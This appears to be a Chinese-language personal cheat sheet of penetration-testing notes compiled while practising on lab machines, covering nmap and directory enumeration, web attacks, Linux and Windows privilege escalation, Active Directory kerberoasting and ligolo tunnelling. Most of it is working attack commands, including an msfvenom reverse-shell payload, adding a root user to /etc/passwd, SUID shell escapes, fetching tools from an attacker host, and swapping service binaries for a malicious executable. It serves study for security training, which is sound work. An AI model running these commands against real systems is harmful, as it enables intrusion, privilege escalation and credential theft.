現在還在持續更新中,更新到我靶機打到一段落xD 2026.8.4

注意

不要在非法情況下進行你自己認為的滲透測試,會牢底蹲穿歐
然後以下都是在我邊看教材邊打靶機彙整出來的,所以僅供參考

服用方式

用電腦看,因為這樣才有目錄:)
除了recon的部分以外,可以按照你拿到的到底是windows還是linux去選
我有做hover,所以看到工具如果滑鼠放上面有變色可以點,是詳細用法連結

recon

Step1 : nmap

sudo nmap -p- -Pn -v [target_IP] -sS -A -T4

或著你想用 rustscan 也可以…?

rustscan -a [target_IP]

可以筆記一下哪些端口有用
這邊講幾個有用的:21-ftp、22-ssh、80-http、443-tcp、3389-rdp、8000-http-alt
這些通常都是切入點,其中我會先以80、8000這種web去看
Step2 : enumerate web dir
我自己是習慣用 dirsearch ,因為很無腦很好用 (?) 打CTF建議不要這樣做,會被infra仇視XD

dirsearch -u [target_IP]

當然如果你是只喜歡教材方法的人可以用 gobuster
值得注意的是 directory-list-2.3-medium.txt 字典檔有二十多萬筆;dirsearch 自帶的字典檔只有一萬六千多,所以建議鬼轉 gobuster 。

gobuster dir -u [target_IP] -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

大概蒐集完很基本的資訊後就可以開始開其他工具了owo

Web

開 Burpsuite,然後開始亂戳XD
我自己覺得 Chromium 有點小卡,加上如果你要在 VM 用會更卡,所以可以考慮直接連 firefox,如果你的 VM 只是專門做資安方面工作的話(?)
可以著重蒐集:版本資訊、應用資訊
同時也可以抓輸入框打打看 XSS、SQLi、SSTi 這些東西,或是在網址測 path travasel、LFI、RFI
密碼的部分可以嘗試一些常見弱密碼或是直接爆破
上傳檔案的話就用副檔名大小寫、其他可執行副檔名、雙檔名之類的去繞,如果伺服器是 Apache 的話可以上傳 .htaccess
運氣好有版本資訊的話可以直接去查 CVE,如果只蒐集得到應用資訊,也可以去查 CVE,然後找 Exploit DB 當腳本小子借鑒大佬寫的 PoC
如果要生 shellcode 就用 msfvemon
這個是我打靶機用到的

msfvenom -p windows/shell_reverse_tcp -b "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x3d\x3b\x2d\x2c\x2e\x24\x25\x1a" LHOST=[HOST_IP] LPORT=4444 -e x86/alpha_mixed -f c

最後就可以開始嘗試 RCE 拿反向 shell 了
這個網站有 rev shell 的基本架構,自己覺得不錯用 -> click here
喔還有 shell 轉 bash 很重要,shell 很不容易上手

python -c 'import pty; pty.spawn("/bin/bash")'

Privilege Escalate

Linux

Gather Information

這邊先上我覺得很好的文章 —> click here
總之除了找Linux版本資訊以外就是蒐集有沒有什麼可讀可寫你現在有執行的東西
然後也可以用 pspy 看哪些很常被執行 由於飛飛寫得很詳細了,所以我這邊就只寫常見提權方式

一般使用者權限以下

比如你是 Web 伺服器沒辦法讀某個 user,那就嘗試讀讀看 mysql 找有沒有帳號密碼
找到後可以 ssh 連上去

一般使用者權限

可以嘗試看看 sudo su
當然你也可以直接看自己有沒有在 sudo 群組裡,沒有的話又是另外一回事了
如果 /etc/passwd 是可寫的,自己寫一個 root 進去就可以成功提成 root
找可寫的檔案可以用這條指令,etc 可以限縮範圍,直接全掃會被星爆

find /etc -type f -writable 2> /dev/null

簡單流程:

openssl -> echo eh:$1$FF7avO9m$g/4Vs7uoiZYgaShMLoyyS1:0:0:root:/root:/usr/bin >> /etc/passwd

可以看 SUID 有沒有配置錯誤

find / -perm -u=s -type f 2>/dev/null

如果有看到 find 的話那就可以直接提 root 了

find . -exec /bin/sh -p \; -quit

當然還有其它 misconfiguration 的提權手法,可以直接看 GTFOBins

port forward

ip addr -> ip route -> 找設定檔

cat /var/atlassian/application-data/confluence/confluence.cfg.xml

Windows

Gather information

可以直接跑 winPEAS 蒐集資訊
前置作業:

cp /usr/share/peass/winpeas/winPEASx64.exe .
python3 -m http.server 80
nc [win IP] [shell port]

nc 連上後:

powershell
iwr -uri http://[localIP]/winPEASx64.exe -Outfile winPEAS.exe
.\winPEAS.exe

可以找找看 PuUtY, SAM, SYSTEM 當然也要看一下自己可以執行的指令

whoami /priv

如果有看到好料比如 SeImpersonatePrivilege 是 Enable,PrintSpoofer.exe or GodPotato.exe 可以輕鬆提權
然後這是下載指令

(New-Object System.Net.WebClient).DownloadFile('http://[LIP]/[FILE]','c:\[DIR]\[FILE]')
certutil -urlcache -f http://[IP]/[FILE] [FILE]

Hijack

可以直接用

iwr -uri http://[LocalIP]/PowerUp.ps1 -Outfile PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
Get-ModifiableServiceFile

看有在跑的服務

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

如果有非 C:\Windows\System32 的服務,可以用icacls看群組權限

icacls "[PATH]"

如果所在的群組為F就表示Full Access,可以在VM本地寫一個惡意檔案上去,再用iwr把檔案讀進去後取代

iwr -uri http://[LocalIP]/malicious.exe -Outfile adduser.exe
move [PATH] original.exe
move .\malicious.exe [PATH]

如果沒有權限 net stop original.exe
那就確認一下StartMode

Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'original'}

如果是Auto的話重開就好
在這裡如果你whoami /priv沒有SeShutdown,可以用shutdown /r /t 0

Active Directory

打開 powershell 後先 bypass 掉安全政策跟開 powerview

powershell -ep bypass
Import-Module .\PowerView.ps1

枚舉一下用戶

net users /domain
Get-netuser

蒐集完 SPN 後就用 Rubeus

./Rubeus.exe kerberoast /nowrap

拿到 hash 後就 hashcat 爆破一下
然後用 Invoke-RunasCs 去 nc

Invoke-RunasCs -Username [U] -Password [Pw] -Command cmd.exe -Remote [ip]:[port]

Another

ssh tunnel

這東西我個人覺得挺抽象的所以寫了,然後我個人比較喜歡用 ligolo 就不用 chisel 了
首先在攻擊機設定網卡

sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up  

靶機開 agent

./agent.exe -connect [IP]:11601 -ignore-cert

然後開 proxy

sudo ligolo-proxy -selfcert    

最後開起來

start
route_add --name ligolo --route [internel_IP]/24

spray tool

  • nxc

useful tool

  • evil-winrm